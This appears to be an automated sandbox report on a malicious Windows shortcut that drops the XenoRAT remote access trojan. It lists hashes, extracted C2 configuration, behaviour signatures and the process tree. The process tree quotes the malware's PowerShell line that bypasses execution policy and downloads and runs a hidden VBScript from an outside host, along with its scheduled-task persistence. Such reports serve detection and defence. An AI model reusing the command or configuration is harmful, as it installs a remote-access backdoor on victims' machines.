Analysis
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max time kernel
144s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-12-2024 05:45
Static task
static1
Behavioral task
behavioral1
Sample
TRANSFERENCIA COMPROBANTES.lnk
Resource
win7-20240903-en
General
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Target
TRANSFERENCIA COMPROBANTES.lnk
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Size
2KB
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MD5
cfd668a55ea2ee344f5a9badb6ff18b7
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SHA1
b3927747076a408a9e73afa0df3a6adadcbae950
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SHA256
05692e7735450069cc9e0c78bb80514c312d40ef47efbbbaae701a624fbabfba
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SHA512
e8976004a15afced95af6a14e0c8360be13014dffdcac71aff24964036318b9cec958ce87db71dfec79f88944367ed7c6beb0b6ba8187f7329d44b55fc3fa943
Malware Config
Extracted
https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs
Extracted
xenorat
dns.stipamana.com
Xeno_rat_nd8912d
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delay
12000
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install_path
appdata
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port
4567
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startup_name
mrec
Signatures
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Detect XenoRat Payload 1 IoCs
resource yara_rule behavioral2/memory/940-102-0x0000000000400000-0x0000000000412000-memory.dmp family_xenorat -
Xenorat family
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Blocklisted process makes network request 2 IoCs
flow pid Process 8 1376 powershell.exe 14 4428 WScript.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1376 powershell.exe -
Downloads MZ/PE file
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Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule behavioral2/files/0x0008000000023cbc-36.dat office_macro_on_action -
resource behavioral2/files/0x0008000000023cbc-36.dat -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation GFKMTE.exe -
Executes dropped EXE 8 IoCs
pid Process 2556 GFKMTE.exe 940 GFKMTE.exe 4472 GFKMTE.exe 1572 GFKMTE.exe 2520 GFKMTE.exe 1796 GFKMTE.exe 4908 GFKMTE.exe 5052 GFKMTE.exe -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 2556 set thread context of 940 2556 GFKMTE.exe 95 PID 2556 set thread context of 4472 2556 GFKMTE.exe 96 PID 2556 set thread context of 1572 2556 GFKMTE.exe 97 PID 2520 set thread context of 1796 2520 GFKMTE.exe 99 PID 2520 set thread context of 4908 2520 GFKMTE.exe 100 PID 2520 set thread context of 5052 2520 GFKMTE.exe 101 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1196 schtasks.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 14 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3204 WINWORD.EXE 3204 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1376 powershell.exe 1376 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1376 powershell.exe Token: SeDebugPrivilege 2556 GFKMTE.exe Token: SeDebugPrivilege 2520 GFKMTE.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3204 WINWORD.EXE 3204 WINWORD.EXE 3204 WINWORD.EXE 3204 WINWORD.EXE 3204 WINWORD.EXE 3204 WINWORD.EXE 3204 WINWORD.EXE -
Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 2196 wrote to memory of 1376 2196 cmd.exe 84 PID 2196 wrote to memory of 1376 2196 cmd.exe 84 PID 1376 wrote to memory of 4428 1376 powershell.exe 85 PID 1376 wrote to memory of 4428 1376 powershell.exe 85 PID 3204 wrote to memory of 2556 3204 WINWORD.EXE 92 PID 3204 wrote to memory of 2556 3204 WINWORD.EXE 92 PID 3204 wrote to memory of 2556 3204 WINWORD.EXE 92 PID 2556 wrote to memory of 940 2556 GFKMTE.exe 95 PID 2556 wrote to memory of 940 2556 GFKMTE.exe 95 PID 2556 wrote to memory of 940 2556 GFKMTE.exe 95 PID 2556 wrote to memory of 940 2556 GFKMTE.exe 95 PID 2556 wrote to memory of 940 2556 GFKMTE.exe 95 PID 2556 wrote to memory of 940 2556 GFKMTE.exe 95 PID 2556 wrote to memory of 940 2556 GFKMTE.exe 95 PID 2556 wrote to memory of 940 2556 GFKMTE.exe 95 PID 2556 wrote to memory of 4472 2556 GFKMTE.exe 96 PID 2556 wrote to memory of 4472 2556 GFKMTE.exe 96 PID 2556 wrote to memory of 4472 2556 GFKMTE.exe 96 PID 2556 wrote to memory of 4472 2556 GFKMTE.exe 96 PID 2556 wrote to memory of 4472 2556 GFKMTE.exe 96 PID 2556 wrote to memory of 4472 2556 GFKMTE.exe 96 PID 2556 wrote to memory of 4472 2556 GFKMTE.exe 96 PID 2556 wrote to memory of 4472 2556 GFKMTE.exe 96 PID 2556 wrote to memory of 1572 2556 GFKMTE.exe 97 PID 2556 wrote to memory of 1572 2556 GFKMTE.exe 97 PID 2556 wrote to memory of 1572 2556 GFKMTE.exe 97 PID 2556 wrote to memory of 1572 2556 GFKMTE.exe 97 PID 2556 wrote to memory of 1572 2556 GFKMTE.exe 97 PID 2556 wrote to memory of 1572 2556 GFKMTE.exe 97 PID 2556 wrote to memory of 1572 2556 GFKMTE.exe 97 PID 2556 wrote to memory of 1572 2556 GFKMTE.exe 97 PID 4472 wrote to memory of 2520 4472 GFKMTE.exe 98 PID 4472 wrote to memory of 2520 4472 GFKMTE.exe 98 PID 4472 wrote to memory of 2520 4472 GFKMTE.exe 98 PID 2520 wrote to memory of 1796 2520 GFKMTE.exe 99 PID 2520 wrote to memory of 1796 2520 GFKMTE.exe 99 PID 2520 wrote to memory of 1796 2520 GFKMTE.exe 99 PID 2520 wrote to memory of 1796 2520 GFKMTE.exe 99 PID 2520 wrote to memory of 1796 2520 GFKMTE.exe 99 PID 2520 wrote to memory of 1796 2520 GFKMTE.exe 99 PID 2520 wrote to memory of 1796 2520 GFKMTE.exe 99 PID 2520 wrote to memory of 1796 2520 GFKMTE.exe 99 PID 2520 wrote to memory of 4908 2520 GFKMTE.exe 100 PID 2520 wrote to memory of 4908 2520 GFKMTE.exe 100 PID 2520 wrote to memory of 4908 2520 GFKMTE.exe 100 PID 2520 wrote to memory of 4908 2520 GFKMTE.exe 100 PID 2520 wrote to memory of 4908 2520 GFKMTE.exe 100 PID 2520 wrote to memory of 4908 2520 GFKMTE.exe 100 PID 2520 wrote to memory of 4908 2520 GFKMTE.exe 100 PID 2520 wrote to memory of 4908 2520 GFKMTE.exe 100 PID 2520 wrote to memory of 5052 2520 GFKMTE.exe 101 PID 2520 wrote to memory of 5052 2520 GFKMTE.exe 101 PID 2520 wrote to memory of 5052 2520 GFKMTE.exe 101 PID 2520 wrote to memory of 5052 2520 GFKMTE.exe 101 PID 2520 wrote to memory of 5052 2520 GFKMTE.exe 101 PID 2520 wrote to memory of 5052 2520 GFKMTE.exe 101 PID 2520 wrote to memory of 5052 2520 GFKMTE.exe 101 PID 2520 wrote to memory of 5052 2520 GFKMTE.exe 101 PID 1572 wrote to memory of 1196 1572 GFKMTE.exe 113 PID 1572 wrote to memory of 1196 1572 GFKMTE.exe 113 PID 1572 wrote to memory of 1196 1572 GFKMTE.exe 113
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIA COMPROBANTES.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass gfdhozhdfbofdjqbopntjfmdjtginrdf -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1376 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"3⤵
- Blocklisted process makes network request
PID:4428
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3204 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:940
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4472 -
C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1796
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C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4908
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C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5052
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF915.tmp" /F4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1196
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
706B
MD5d95c58e609838928f0f49837cab7dfd2
SHA155e7139a1e3899195b92ed8771d1ca2c7d53c916
SHA2560407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339
SHA512405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
10KB
MD5087bcef76143b81090deef4ee4679995
SHA16ebd4fd212d0583157ae03bb0eb5841c53e281fc
SHA25687334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00
SHA512b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d
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Filesize
1KB
MD5dabe93a03c5560ab1670cf79b8d28566
SHA169738fe43d4550ece028ff2795a54bbad0985414
SHA256743e8b28a38e98ea27ef07f17b7529976979c7b01eab92586a6cb686c0d1f68d
SHA51215b3b49c46901e00a73def834225df28fd843af1e9ae594c7d061406209f6ce57277673c9c1ae3ed541f989fa499fd3e88929e00ebded6d23301f8d3680a6c57
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Filesize
195KB
MD57ea9da3dd3db6f3fadf04ac76b54434b
SHA1b30b950191046d999e71aaa54fb2648c6655ce9b
SHA256947bce97211371e730a2b8b79c2ec4d154904e8faa7bed2583c5c6c420230170
SHA512f94eb382dedb8c3952dbc0f3b9040201455cec641c845bedf5765a2772aa98cb20d92b3e0edadcd92fd7cdb77e7c6f37d26bdd276cceea733237e28f04240f9d
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Filesize
16B
MD5d29962abc88624befc0135579ae485ec
SHA1e40a6458296ec6a2427bcb280572d023a9862b31
SHA256a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA5124311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f
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Filesize
173KB
MD594a7e3859c2e4238421cdfe73d49603c
SHA103f03c5b5d8cf362aa52b9e793e7be398d779c21
SHA256639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91
SHA51274048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5